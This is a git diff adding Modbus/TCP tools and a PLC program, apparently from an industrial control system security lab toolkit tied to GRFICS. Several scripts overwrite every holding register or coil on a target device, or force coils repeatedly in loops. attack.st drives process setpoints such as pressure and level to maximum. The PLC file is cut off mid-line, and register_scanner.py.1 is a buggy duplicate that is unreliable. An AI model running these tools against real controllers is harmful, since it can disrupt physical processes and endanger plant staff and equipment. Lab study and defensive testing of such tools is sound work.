--- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, 